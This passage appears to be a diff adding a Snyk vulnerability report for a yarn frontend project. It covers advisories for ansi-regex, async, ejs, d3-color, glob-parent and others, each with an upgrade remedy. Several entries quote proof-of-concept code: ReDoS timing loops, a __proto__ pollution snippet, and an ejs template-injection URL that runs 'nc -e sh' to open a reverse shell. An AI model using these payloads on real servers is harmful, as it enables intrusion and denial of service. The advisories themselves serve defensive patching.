\"\\u001B[\"+\";\".repeat(i*10000);\r\n ansiRegex().test(attack_str)\r\n var time_cost = Date.now() - time;\r\n console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\")\r\n}\r\n```\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `ansi-regex` to version 3.0.1, 4.1.1, 5.0.1, 6.0.1 or higher.\n# References\n- [GitHub Commit](https://github.com/chalk/ansi-regex/commit/419250fa510bf31b4cc672e76537a64f9332e1f1)\n- [GitHub Commit](https://github.com/chalk/ansi-regex/commit/75a657da7af875b2e2724fd6331bf0a4b23d3c9a)\n- [GitHub Commit](https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9)\n- [GitHub PR](https://github.com/chalk/ansi-regex/pull/37)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-400", + "yarn" + ] + } + }, + { + "id": "SNYK-JS-ASYNC-2441827", + "shortDescription": { + "text": "High severity - Prototype Pollution vulnerability in async" + }, + "fullDescription": { + "text": "(CVE-2021-43138) async@2.6.3" + }, + "help": { + "text": "", + "markdown": "* Package Manager: yarn\n* Vulnerable module: async\n* Introduced through: spyros-frontend@1.0.0, react-scripts@5.0.0 and others\n### Detailed paths\n* _Introduced through_: spyros-frontend@1.0.0 › react-scripts@5.0.0 › webpack-dev-server@4.7.3 › portfinder@1.0.28 › async@2.6.3\n# Overview\n\nAffected versions of this package are vulnerable to Prototype Pollution via the `mapValues()` method, due to improper check in `createObjectIterator` function.\r\n\r\n# PoC\r\n\r\n```js\r\n//when objects are parsed, all properties are created as own (the objects can come from outside sources (http requests/ file))\r\nconst hasOwn = JSON.parse('{\"__proto__\": {\"isAdmin\": true}}');\r\n\r\n//does not have the property, because it's inside object's own \"__proto__\"\r\nconsole.log(hasOwn.isAdmin);\r\n\r\nasync.mapValues(hasOwn, (val, key, cb) => cb(null, val), (error, result) => {\r\n // after the method executes, hasOwn.__proto__ value (isAdmin: true) replaces the prototype of the newly created object, leading to potential exploits.\r\n console.log(result.isAdmin);\r\n});\r\n```\n\n# Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n## Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n## Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n# Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n# Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n# How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n## For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n# Remediation\nUpgrade `async` to version 2.6.4, 3.2.2 or higher.\n# References\n- [GitHub Backport PR](https://github.com/caolan/async/pull/1828)\n- [GitHub Commit](https://github.com/caolan/async/commit/8f7f90342a6571ba1c197d747ebed30c368096d2)\n- [GitHub Commit](https://github.com/caolan/async/commit/e1ecdbf79264f9ab488c7799f4c76996d5dca66d)\n- [PoC](https://jsfiddle.net/oz5twjd9/)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-1321", + "yarn" + ] + } + }, + { + "id": "SNYK-JS-CSSWHAT-1298035", + "shortDescription": { + "text": "Medium severity - Regular Expression Denial of Service (ReDoS) vulnerability in css-what" + }, + "fullDescription": { + "text": "(CVE-2021-33587) css-what@3.4.2" + }, + "help": { + "text": "", + "markdown": "* Package Manager: yarn\n* Vulnerable module: css-what\n* Introduced through: spyros-frontend@1.0.0, react-scripts@5.0.0 and others\n### Detailed paths\n* _Introduced through_: spyros-frontend@1.0.0 › react-scripts@5.0.0 › @svgr/webpack@5.5.0 › @svgr/plugin-svgo@5.5.0 › svgo@1.3.2 › css-select@2.1.0 › css-what@3.4.2\n# Overview\n[css-what](https://www.npmjs.org/package/css-what) is an a CSS selector parser\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via attribute parsing.\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `css-what` to version 5.0.1 or higher.\n# References\n- [GitHub Commit](https://github.com/fb55/css-what/commit/4cdaacfd0d4b6fd00614be030da0dea6c2994655)\n- [GitHub PR](https://github.com/fb55/css-what/pull/503)\n- [GitHub Release](https://github.com/fb55/css-what/releases/tag/v5.0.1)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-400", + "yarn" + ] + } + }, + { + "id": "SNYK-JS-D3COLOR-1076592", + "shortDescription": { + "text": "Medium severity - Regular Expression Denial of Service (ReDoS) vulnerability in d3-color" + }, + "fullDescription": { + "text": "d3-color@3.0.1" + }, + "help": { + "text": "", + "markdown": "* Package Manager: yarn\n* Vulnerable module: d3-color\n* Introduced through: spyros-frontend@1.0.0, react-flow-renderer@9.7.4 and others\n### Detailed paths\n* _Introduced through_: spyros-frontend@1.0.0 › react-flow-renderer@9.7.4 › d3-zoom@3.0.0 › d3-interpolate@3.0.1 › d3-color@3.0.1\n* _Introduced through_: spyros-frontend@1.0.0 › react-flow-renderer@9.7.4 › d3-zoom@3.0.0 › d3-transition@3.0.1 › d3-color@3.0.1\n* _Introduced through_: spyros-frontend@1.0.0 › react-force-graph-2d@1.23.6 › force-graph@1.41.1 › d3-scale-chromatic@2.0.0 › d3-color@2.0.0\n* _Introduced through_: spyros-frontend@1.0.0 › react-force-graph-2d@1.23.6 › force-graph@1.41.1 › d3-scale@3.3.0 › d3-interpolate@2.0.1 › d3-color@2.0.0\n* _Introduced through_: spyros-frontend@1.0.0 › react-force-graph-2d@1.23.6 › force-graph@1.41.1 › d3-zoom@2.0.0 › d3-transition@2.0.0 › d3-color@2.0.0\n# Overview\n[d3-color](https://www.npmjs.org/package/d3-color) is a Color spaces! RGB, HSL, Cubehelix, Lab and HCL (Lch).\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the `rgb()` and `hrc()` functions. \r\n\r\nPoC by Yeting Li: \r\n```\r\nvar d3Color = require(\"d3-color\")\r\n// d3Color.rgb(\"rgb(255,255,255)\")\r\n\r\nfunction build_blank(n) {\r\n var ret = \"rgb(\"\r\n for (var i = 0; i < n; i++) {\r\n ret += \"1\"\r\n }\r\n return ret + \"!\";\r\n}\r\n\r\nfor(var i = 1; i <= 5000000; i++) {\r\n if (i % 1000 == 0) {\r\n var time = Date.now();\r\n var attack_str = build_blank(i)\r\n d3Color.rgb(attack_str)\r\n var time_cost = Date.now() - time;\r\n console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\")\r\n }\r\n}\r\n```\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `d3-color` to version 3.1.0 or higher.\n# References\n- [Github PR](https://github.com/d3/d3-color/pull/100)\n- [Github PR](https://github.com/d3/d3-color/pull/99)\n- [GitHub PR](https://github.com/d3/d3-color/pull/89)\n- [Github Releases](https://github.com/d3/d3-color/releases/tag/v3.1.0)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-400", + "yarn" + ] + } + }, + { + "id": "SNYK-JS-EJS-2803307", + "shortDescription": { + "text": "High severity - Remote Code Execution (RCE) vulnerability in ejs" + }, + "fullDescription": { + "text": "(CVE-2022-29078) ejs@3.1.6" + }, + "help": { + "text": "", + "markdown": "* Package Manager: yarn\n* Vulnerable module: ejs\n* Introduced through: spyros-frontend@1.0.0, react-scripts@5.0.0 and others\n### Detailed paths\n* _Introduced through_: spyros-frontend@1.0.0 › react-scripts@5.0.0 › workbox-webpack-plugin@6.4.2 › workbox-build@6.4.2 › @surma/rollup-plugin-off-main-thread@2.2.3 › ejs@3.1.6\n# Overview\n[ejs](https://www.npmjs.com/package/ejs) is a popular JavaScript templating engine.\n\nAffected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the `view options` parameter of `renderFile`, which makes it possible to inject code into `outputFunctionName`.\r\n\r\n\r\n**Note:**\r\nThis vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.\r\n\r\n# PoC:\r\nCreation of reverse shell:\r\n```\r\nhttp://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s\r\n```\n# Remediation\nUpgrade `ejs` to version 3.1.7 or higher.\n# References\n- [GitHub Commit](https://github.com/mde/ejs/commit/15ee698583c98dadc456639d6245580d17a24baf)\n- [GitHub Issue](https://github.com/mde/ejs/issues/451)\n- [GitHub Release](https://github.com/mde/ejs/releases)\n- [Security Advisory](https://eslam.io/posts/ejs-server-side-template-injection-rce/)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-94", + "yarn" + ] + } + }, + { + "id": "SNYK-JS-FOLLOWREDIRECTS-2396346", + "shortDescription": { + "text": "Low severity - Information Exposure vulnerability in follow-redirects" + }, + "fullDescription": { + "text": "(CVE-2022-0536) follow-redirects@1.14.7" + }, + "help": { + "text": "", + "markdown": "* Package Manager: yarn\n* Vulnerable module: follow-redirects\n* Introduced through: spyros-frontend@1.0.0, axios@0.21.4 and others\n### Detailed paths\n* _Introduced through_: spyros-frontend@1.0.0 › axios@0.21.4 › follow-redirects@1.14.7\n* _Introduced through_: spyros-frontend@1.0.0 › react-scripts@5.0.0 › webpack-dev-server@4.7.3 › http-proxy-middleware@2.0.1 › http-proxy@1.18.1 › follow-redirects@1.14.7\n* _Introduced through_: spyros-frontend@1.0.0 › jest-puppeteer@6.0.3 › jest-environment-puppeteer@6.0.3 › jest-dev-server@6.0.3 › wait-on@6.0.0 › axios@0.21.4 › follow-redirects@1.14.7\n# Overview\n\nAffected versions of this package are vulnerable to Information Exposure due a leakage of the Authorization header from the same hostname during HTTPS to HTTP redirection. An attacker who can listen in on the wire (or perform a MITM attack) will be able to receive the Authorization header due to the usage of the insecure HTTP protocol which does not verify the hostname the request is sending to.\n# Remediation\nUpgrade `follow-redirects` to version 1.14.8 or higher.\n# References\n- [GitHub Commit](https://github.com/follow-redirects/follow-redirects/commit/62e546a99c07c3ee5e4e0718c84a6ca127c5c445)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-200", + "yarn" + ] + } + }, + { + "id": "SNYK-JS-GLOBPARENT-1016905", + "shortDescription": { + "text": "Medium severity - Regular Expression Denial of Service (ReDoS) vulnerability in glob-parent" + }, + "fullDescription": { + "text": "(CVE-2020-28469) glob-parent@2.0.0" + }, + "help": { + "text": "", + "markdown": "* Package Manager: yarn\n* Vulnerable module: glob-parent\n* Introduced through: spyros-frontend@1.0.0, react-d3-library@1.1.8 and others\n### Detailed paths\n* _Introduced through_: spyros-frontend@1.0.0 › react-d3-library@1.1.8 › webpack@1.15.0 › watchpack@0.2.9 › chokidar@1.7.0 › glob-parent@2.0.0\n* _Introduced through_: spyros-frontend@1.0.0 › react-d3-library@1.1.8 › webpack@1.15.0 › watchpack@0.2.9 › chokidar@1.7.0 › anymatch@1.3.2 › micromatch@2.3.11 › parse-glob@3.0.4 › glob-base@0.3.0 › glob-parent@2.0.0\n# Overview\n[glob-parent](https://www.npmjs.com/package/glob-parent) is a package that helps extracting the non-magic parent path from a glob string.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The `enclosure` regex used to check for strings ending in enclosure containing path separator.\r\n\r\n## PoC by Yeting Li\r\n```\r\nvar globParent = require(\"glob-parent\")\r\nfunction build_attack(n) {\r\nvar ret = \"{\"\r\nfor (var i = 0; i < n; i++) {\r\nret += \"/\"\r\n}\r\n\r\nreturn ret;\r\n}\r\n\r\nglobParent(build_attack(5000));\r\n```\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `glob-parent` to version 5.1.2 or higher.\n# References\n- [GitHub PR](https://github.com/gulpjs/glob-parent/pull/36)\n- [GitHub Release](https://github.com/gulpjs/glob-parent/releases/tag/v5.1.2)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-400", + "yarn" + ] + } + }, + { + "id": "SNYK-JS-JSONSCHEMA-1920922", + "shortDescription": { + "text": "High severity - Prototype Pollution vulnerability in json-schema" + }, + "fullDescription": { + "text": "(CVE-2021-3918) json-schema@0.2.3" + }, + "help": { + "text": "", + "markdown": "* Package Manager: yarn\n* Vulnerable module: json-schema\n* Introduced through: spyros-frontend@1.0.0, npm@7.16.0 and others\n### Detailed paths\n* _Introduced through_: spyros-frontend@1.0.0 › npm@7.16.0 › @npmcli/arborist@2.6.2 › @npmcli/metavuln-calculator@1.1.1 › pacote@11.3.4 › @npmcli/run-script@1.8.5 › node-gyp@7.1.2 › request@2.88.2 › http-signature@1.2.0 › jsprim@1.4.1 › json-schema@0.2.3\n# Overview\n\nAffected versions of this package are vulnerable to Prototype Pollution via the `validate` function, which when given a special payload will pollute `Object` with undesired attributes.\n\n# Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n## Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n## Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n# Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n# Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n# How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n## For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n# Remediation\nUpgrade `json-schema` to version 0.4.0 or higher.\n# References\n- [GitHub 